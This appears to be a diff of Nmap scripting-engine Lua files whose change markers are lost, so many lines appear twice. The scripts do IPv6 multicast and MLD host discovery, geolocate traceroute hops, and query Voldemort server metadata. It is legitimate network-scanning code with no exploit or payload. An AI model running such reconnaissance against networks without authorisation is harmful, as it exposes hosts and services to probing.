interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return interfaces
|
||||
return interfaces
|
||||
end
|
||||
|
||||
local function single_interface_broadcast(if_nfo, results)
|
||||
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
|
||||
----------------------------------------------------------------------------
|
||||
--Multicast echo ping probe
|
||||
----------------------------------------------------------------------------
|
||||
--Multicast echo ping probe
|
||||
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
|
||||
local function catch ()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
local function catch ()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
|
||||
try(dnet:ethernet_open(if_nfo.device))
|
||||
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
|
||||
|
||||
local probe = packet.Frame:new()
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = dst_mac
|
||||
probe.ip_bin_src = src_ip6
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
probe.echo_id = 5
|
||||
probe.echo_seq = 6
|
||||
probe.echo_data = "Nmap host discovery."
|
||||
probe:build_icmpv6_echo_request()
|
||||
probe:build_icmpv6_header()
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
|
||||
try(dnet:ethernet_send(probe.frame_buf))
|
||||
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = 5
|
||||
local start_time = nmap:clock()
|
||||
local cur_time = nmap:clock()
|
||||
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
cur_time = nmap:clock()
|
||||
if not status then
|
||||
pcap_timeout_count = pcap_timeout_count + 1
|
||||
else
|
||||
local reply = packet.Frame:new(layer2..layer3)
|
||||
if reply.mac_dst == src_mac then
|
||||
local target_str = reply.ip_src
|
||||
if not results[target_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(target_str)
|
||||
end
|
||||
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
|
||||
results[target_str] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
local try = nmap.new_try(catch)
|
||||
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
||||
|
||||
try(dnet:ethernet_open(if_nfo.device))
|
||||
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
local probe = packet.Frame:new()
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = dst_mac
|
||||
probe.ip_bin_src = src_ip6
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
probe.echo_id = 5
|
||||
probe.echo_seq = 6
|
||||
probe.echo_data = "Nmap host discovery."
|
||||
probe:build_icmpv6_echo_request()
|
||||
probe:build_icmpv6_header()
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
|
||||
try(dnet:ethernet_send(probe.frame_buf))
|
||||
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = 5
|
||||
local start_time = nmap:clock()
|
||||
local cur_time = nmap:clock()
|
||||
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
cur_time = nmap:clock()
|
||||
if not status then
|
||||
pcap_timeout_count = pcap_timeout_count + 1
|
||||
else
|
||||
local reply = packet.Frame:new(layer2..layer3)
|
||||
if reply.mac_dst == src_mac then
|
||||
local target_str = reply.ip_src
|
||||
if not results[target_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(target_str)
|
||||
end
|
||||
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
|
||||
results[target_str] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
|
||||
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
condvar("signal")
|
||||
condvar("signal")
|
||||
end
|
||||
|
||||
local function format_output(results)
|
||||
local output = tab.new()
|
||||
local output = tab.new()
|
||||
|
||||
for _, record in ipairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
if #results > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
for _, record in ipairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
if #results > 0 then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
action = function()
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
return format_output(results)
|
||||
return format_output(results)
|
||||
end
|
||||
|
||||
@@ -35,146 +35,146 @@ categories = {"discovery","broadcast"}
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout'))
|
||||
|
||||
prerule = function()
|
||||
if ( not(nmap.is_privileged()) ) then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if ( not(nmap.is_privileged()) ) then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
local function get_interfaces()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return interfaces
|
||||
return interfaces
|
||||
end
|
||||
|
||||
local function single_interface_broadcast(if_nfo, results)
|
||||
stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
local gen_qry = packet.ip6tobin("::")
|
||||
stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
local condvar = nmap.condvar(results)
|
||||
local src_mac = if_nfo.mac
|
||||
local src_ip6 = packet.ip6tobin(if_nfo.address)
|
||||
local dst_mac = packet.mactobin("33:33:00:00:00:01")
|
||||
local dst_ip6 = packet.ip6tobin("ff02::1")
|
||||
local gen_qry = packet.ip6tobin("::")
|
||||
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
local dnet = nmap.new_dnet()
|
||||
local pcap = nmap.new_socket()
|
||||
|
||||
dnet:ethernet_open(if_nfo.device)
|
||||
pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
|
||||
dnet:ethernet_open(if_nfo.device)
|
||||
pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
|
||||
|
||||
local probe = packet.Frame:new()
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = dst_mac
|
||||
probe.ip_bin_src = src_ip6
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
local probe = packet.Frame:new()
|
||||
probe.mac_src = src_mac
|
||||
probe.mac_dst = dst_mac
|
||||
probe.ip_bin_src = src_ip6
|
||||
probe.ip_bin_dst = dst_ip6
|
||||
|
||||
probe.ip6_tc = 0
|
||||
probe.ip6_fl = 0
|
||||
probe.ip6_hlimit = 1
|
||||
probe.ip6_tc = 0
|
||||
probe.ip6_fl = 0
|
||||
probe.ip6_hlimit = 1
|
||||
|
||||
probe.icmpv6_type = packet.MLD_LISTENER_QUERY
|
||||
probe.icmpv6_code = 0
|
||||
probe.icmpv6_type = packet.MLD_LISTENER_QUERY
|
||||
probe.icmpv6_code = 0
|
||||
|
||||
-- Add a non-empty payload too.
|
||||
probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry)
|
||||
probe:build_icmpv6_header()
|
||||
probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00")
|
||||
probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
|
||||
-- Add a non-empty payload too.
|
||||
probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry)
|
||||
probe:build_icmpv6_header()
|
||||
probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00")
|
||||
probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
|
||||
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
probe:build_ipv6_packet()
|
||||
probe:build_ether_frame()
|
||||
|
||||
dnet:ethernet_send(probe.frame_buf)
|
||||
dnet:ethernet_send(probe.frame_buf)
|
||||
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = arg_timeout or 10
|
||||
local start_time = nmap:clock()
|
||||
local addrs = {}
|
||||
pcap:set_timeout(1000)
|
||||
local pcap_timeout_count = 0
|
||||
local nse_timeout = arg_timeout or 10
|
||||
local start_time = nmap:clock()
|
||||
local addrs = {}
|
||||
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
local cur_time = nmap:clock()
|
||||
if ( status ) then
|
||||
local l2reply = packet.Frame:new(layer2)
|
||||
local reply = packet.Packet:new(layer3, length, true)
|
||||
if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or
|
||||
reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then
|
||||
local target_str = reply.ip_src
|
||||
if not results[target_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(target_str)
|
||||
end
|
||||
results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
||||
end
|
||||
end
|
||||
end
|
||||
until ( cur_time - start_time >= nse_timeout )
|
||||
repeat
|
||||
local status, length, layer2, layer3 = pcap:pcap_receive()
|
||||
local cur_time = nmap:clock()
|
||||
if ( status ) then
|
||||
local l2reply = packet.Frame:new(layer2)
|
||||
local reply = packet.Packet:new(layer3, length, true)
|
||||
if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or
|
||||
reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then
|
||||
local target_str = reply.ip_src
|
||||
if not results[target_str] then
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(target_str)
|
||||
end
|
||||
results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
|
||||
end
|
||||
end
|
||||
end
|
||||
until ( cur_time - start_time >= nse_timeout )
|
||||
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
dnet:ethernet_close()
|
||||
pcap:pcap_close()
|
||||
|
||||
condvar("signal")
|
||||
condvar("signal")
|
||||
end
|
||||
|
||||
local function format_output(results)
|
||||
local output = tab.new()
|
||||
local output = tab.new()
|
||||
|
||||
for _, record in pairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
for _, record in pairs(results) do
|
||||
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
|
||||
end
|
||||
|
||||
if ( #output > 0 ) then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
table.insert(output, "")
|
||||
table.insert(output, "Use --script-args=newtargets to add the results as targets")
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
if ( #output > 0 ) then
|
||||
output = { tab.dump(output) }
|
||||
if not target.ALLOW_NEW_TARGETS then
|
||||
table.insert(output, "")
|
||||
table.insert(output, "Use --script-args=newtargets to add the results as targets")
|
||||
end
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
action = function()
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
local threads = {}
|
||||
local results = {}
|
||||
local condvar = nmap.condvar(results)
|
||||
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
for _, if_nfo in ipairs(get_interfaces()) do
|
||||
-- create a thread for each interface
|
||||
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
|
||||
threads[co] = true
|
||||
end
|
||||
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then threads[thread] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
return format_output(results)
|
||||
return format_output(results)
|
||||
end
|
||||
|
||||
|
||||
@@ -71,42 +71,42 @@ categories = {"safe", "external", "discovery"}
|
||||
local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile")
|
||||
|
||||
hostrule = function(host)
|
||||
if ( not(host.traceroute) ) then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if ( not(host.traceroute) ) then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
--
|
||||
-- GeoPlugin requires no API key and has no limitations on lookups
|
||||
--
|
||||
local function geoLookup(ip)
|
||||
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip)
|
||||
local stat, loc = json.parse(response.body)
|
||||
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip)
|
||||
local stat, loc = json.parse(response.body)
|
||||
|
||||
if not stat then return nil end
|
||||
local output = {}
|
||||
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
|
||||
return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName
|
||||
if not stat then return nil end
|
||||
local output = {}
|
||||
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
|
||||
return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName
|
||||
end
|
||||
|
||||
local function createKMLFile(filename, coords)
|
||||
local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
|
||||
local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
|
||||
local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
|
||||
local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
|
||||
|
||||
local output = ""
|
||||
for _, coord in ipairs(coords) do
|
||||
output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
|
||||
end
|
||||
local output = ""
|
||||
for _, coord in ipairs(coords) do
|
||||
output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
|
||||
end
|
||||
|
||||
local f = io.open(filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, "Failed to create KML file"
|
||||
end
|
||||
f:write(header .. output .. footer)
|
||||
f:close()
|
||||
local f = io.open(filename, "w")
|
||||
if ( not(f) ) then
|
||||
return false, "Failed to create KML file"
|
||||
end
|
||||
f:write(header .. output .. footer)
|
||||
f:close()
|
||||
|
||||
return true
|
||||
return true
|
||||
end
|
||||
|
||||
-- Tables used to accumulate output.
|
||||
@@ -115,53 +115,53 @@ local output = tab.new(4)
|
||||
local coordinates = {}
|
||||
|
||||
local function output_hop(count, ip, name, rtt, lat, lon, ctry, reg)
|
||||
if ip then
|
||||
local label
|
||||
if name then
|
||||
label = ("%s (%s)"):format(name or "", ip)
|
||||
else
|
||||
label = ("%s"):format(ip)
|
||||
end
|
||||
if lat then
|
||||
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon })
|
||||
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg))
|
||||
table.insert(coordinates, { hop = count, lat = lat, lon = lon })
|
||||
else
|
||||
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
|
||||
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
|
||||
end
|
||||
else
|
||||
table.insert(output_structured, { hop = count })
|
||||
tab.addrow(output, count, "...")
|
||||
end
|
||||
if ip then
|
||||
local label
|
||||
if name then
|
||||
label = ("%s (%s)"):format(name or "", ip)
|
||||
else
|
||||
label = ("%s"):format(ip)
|
||||
end
|
||||
if lat then
|
||||
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon })
|
||||
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg))
|
||||
table.insert(coordinates, { hop = count, lat = lat, lon = lon })
|
||||
else
|
||||
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
|
||||
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
|
||||
end
|
||||
else
|
||||
table.insert(output_structured, { hop = count })
|
||||
tab.addrow(output, count, "...")
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
|
||||
for count = 1, #host.traceroute do
|
||||
local hop = host.traceroute[count]
|
||||
-- avoid timedout hops, marked as empty entries
|
||||
-- do not add the current scanned host.ip
|
||||
if hop.ip then
|
||||
local rtt = tonumber(hop.times.srtt) * 1000
|
||||
if ( not(ipOps.isPrivate(hop.ip) ) ) then
|
||||
local lat, lon, reg, ctry = geoLookup(hop.ip)
|
||||
output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg)
|
||||
else
|
||||
output_hop(count, hop.ip, hop.name, rtt)
|
||||
end
|
||||
else
|
||||
output_hop(count)
|
||||
end
|
||||
end
|
||||
tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
|
||||
for count = 1, #host.traceroute do
|
||||
local hop = host.traceroute[count]
|
||||
-- avoid timedout hops, marked as empty entries
|
||||
-- do not add the current scanned host.ip
|
||||
if hop.ip then
|
||||
local rtt = tonumber(hop.times.srtt) * 1000
|
||||
if ( not(ipOps.isPrivate(hop.ip) ) ) then
|
||||
local lat, lon, reg, ctry = geoLookup(hop.ip)
|
||||
output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg)
|
||||
else
|
||||
output_hop(count, hop.ip, hop.name, rtt)
|
||||
end
|
||||
else
|
||||
output_hop(count)
|
||||
end
|
||||
end
|
||||
|
||||
if (#output_structured > 0) then
|
||||
output = tab.dump(output)
|
||||
if ( arg_kmlfile ) then
|
||||
if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
|
||||
output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
|
||||
end
|
||||
end
|
||||
return output_structured, stdnse.format_output(true, output)
|
||||
end
|
||||
if (#output_structured > 0) then
|
||||
output = tab.dump(output)
|
||||
if ( arg_kmlfile ) then
|
||||
if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
|
||||
output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
|
||||
end
|
||||
end
|
||||
return output_structured, stdnse.format_output(true, output)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -52,27 +52,27 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
-- @return status true on success, false on failure
|
||||
-- @return socket connected to the server
|
||||
local function connect(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
|
||||
local status, err = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
local status, err = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
|
||||
status, err = socket:send("vp3")
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
status, err = socket:send("vp3")
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
|
||||
local response
|
||||
status, response = socket:receive(2)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
elseif( response ~= "ok" ) then
|
||||
return false, "Unsupported protocol"
|
||||
end
|
||||
return true, socket
|
||||
local response
|
||||
status, response = socket:receive(2)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
elseif( response ~= "ok" ) then
|
||||
return false, "Unsupported protocol"
|
||||
end
|
||||
return true, socket
|
||||
end
|
||||
|
||||
-- Get Voldemort metadata
|
||||
@@ -82,92 +82,92 @@ end
|
||||
-- @return data string as received from the server
|
||||
local function getMetadata(socket, file)
|
||||
|
||||
local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file)
|
||||
local status, err = socket:send(req)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
local status, data = socket:receive(8)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
local _, len = bin.unpack(">S", data, 9)
|
||||
while( #data < len - 2 ) do
|
||||
local status, tmp = socket:receive(len - 2 - #data)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
data = data .. tmp
|
||||
end
|
||||
return true, data
|
||||
local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file)
|
||||
local status, err = socket:send(req)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
local status, data = socket:receive(8)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
local _, len = bin.unpack(">S", data, 9)
|
||||
while( #data < len - 2 ) do
|
||||
local status, tmp = socket:receive(len - 2 - #data)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
data = data .. tmp
|
||||
end
|
||||
return true, data
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
-- table of variables to query the server
|
||||
local vars = {
|
||||
["cluster"] = {
|
||||
{ key = "Name", match = "<cluster>.-<name>(.-)</name>" },
|
||||
{ key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
|
||||
{ key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
|
||||
{ key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
|
||||
{ key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
|
||||
{ key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
|
||||
{ key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
|
||||
},
|
||||
["store"] = {
|
||||
{ key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
|
||||
{ key = "Description", match = "<store>.-<description>(.-)</description>" },
|
||||
{ key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
|
||||
{ key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
|
||||
{ key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
|
||||
},
|
||||
}
|
||||
-- table of variables to query the server
|
||||
local vars = {
|
||||
["cluster"] = {
|
||||
{ key = "Name", match = "<cluster>.-<name>(.-)</name>" },
|
||||
{ key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
|
||||
{ key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
|
||||
{ key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
|
||||
{ key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
|
||||
{ key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
|
||||
{ key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
|
||||
},
|
||||
["store"] = {
|
||||
{ key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
|
||||
{ key = "Description", match = "<store>.-<description>(.-)</description>" },
|
||||
{ key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
|
||||
